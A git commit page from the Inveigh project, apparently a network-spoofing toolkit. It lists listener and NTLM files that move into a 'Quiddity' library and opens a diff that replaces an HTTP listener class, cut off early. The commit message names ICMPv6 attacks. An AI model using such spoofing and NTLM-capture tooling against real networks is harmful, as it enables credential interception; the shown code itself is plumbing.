diff options
author | Kevin Robertson <Kevin-Robertson@users.noreply.github.com> | 2022-01-03 20:13:22 -0500 |
---|---|---|
committer | Kevin Robertson <Kevin-Robertson@users.noreply.github.com> | 2022-01-03 20:13:22 -0500 |
commit | 1673eba26f1fd6223155b78c8113a17ca092617b (patch) | |
tree | 2f44569d4c77b05ec8a1458fb7e7048d83245870 | |
parent | 49d1c22377182167a1e15a3631c1f174a369fc56 (diff) | |
download | Inveigh-1673eba26f1fd6223155b78c8113a17ca092617b.tar.gz Inveigh-1673eba26f1fd6223155b78c8113a17ca092617b.zip |
ICMPv6TTL, output levels, bug fixes
Added ICMPv6TTL parameter for ICMPv6 attacks. more Console parameter output levels, and bug fixes.
-rw-r--r-- | Inveigh/Listeners/HTTPListener.cs | 445 | ||||
-rw-r--r-- | Inveigh/Listeners/LDAPListener.cs | 159 | ||||
-rw-r--r-- | Inveigh/Listeners/LLMNRListener.cs | 3 | ||||
-rw-r--r-- | Inveigh/Listeners/MDNSListener.cs | 9 | ||||
-rw-r--r-- | Inveigh/Listeners/NBNSListener.cs | 3 | ||||
-rw-r--r-- | Inveigh/Listeners/SMBListener.cs | 232 | ||||
-rw-r--r-- | Inveigh/Program.cs | 24 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/LICENSE (renamed from Inveigh/Protocols/LICENSE) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity.sln | 25 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs | 64 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs | 47 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs) | 11 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs) | 31 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs | 540 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs | 243 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs | 306 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs (renamed from Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs) | 19 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs) | 14 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs) | 3 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs) | 6 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs) | 0 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs (renamed from Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj | 55 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs (renamed from Inveigh/Protocols/Quiddity/Support/ASN1.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs (renamed from Inveigh/Protocols/Quiddity/Support/Utilities.cs) | 2 | ||||
-rw-r--r-- | Inveigh/Protocols/Quiddity/README.md (renamed from Inveigh/Protocols/README.md) | 0 | ||||
-rw-r--r-- | Inveigh/Sniffer/Sniffer.cs | 40 | ||||
-rw-r--r-- | Inveigh/Sockets/ICMPv6Socket.cs | 42 | ||||
-rw-r--r-- | Inveigh/Sockets/UDPSocket.cs | 39 | ||||
-rw-r--r-- | Inveigh/Support/Arguments.cs | 127 | ||||
-rw-r--r-- | Inveigh/Support/Control.cs | 152 | ||||
-rw-r--r-- | Inveigh/Support/Output.cs | 85 | ||||
-rw-r--r-- | Inveigh/Support/Shell.cs | 147 | ||||
-rw-r--r-- | README.md | 19 |
139 files changed, 1996 insertions, 1082 deletions
diff --git a/Inveigh/Listeners/HTTPListener.cs b/Inveigh/Listeners/HTTPListener.cs index e428a0f..d3b0961 100644 --- a/Inveigh/Listeners/HTTPListener.cs +++ b/Inveigh/Listeners/HTTPListener.cs @@ -1,432 +1,59 @@ -using Quiddity; -using Quiddity.HTTP; -using Quiddity.NTLM; -using System; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; -using System.Security.Cryptography.X509Certificates; -using System.Security.Authentication; -using System.Net.Security; -using Quiddity.Support; +using System; namespace Inveigh { - class HTTPListener + class HTTPListener : Quiddity.HTTPListener { - public const SslProtocols tls12 = (SslProtocols)0x00000C00; - internal void Start(IPAddress ipAddress, int port, string type) + public HTTPListener() { - TCPListener tcpListener = new TCPListener(ipAddress, port); - IAsyncResult tcpAsync; - - try - { - tcpListener.Start(); - - if (type.Equals("Proxy")) - { - tcpListener.Server.LingerState = new LingerOption(true, 0); - } - 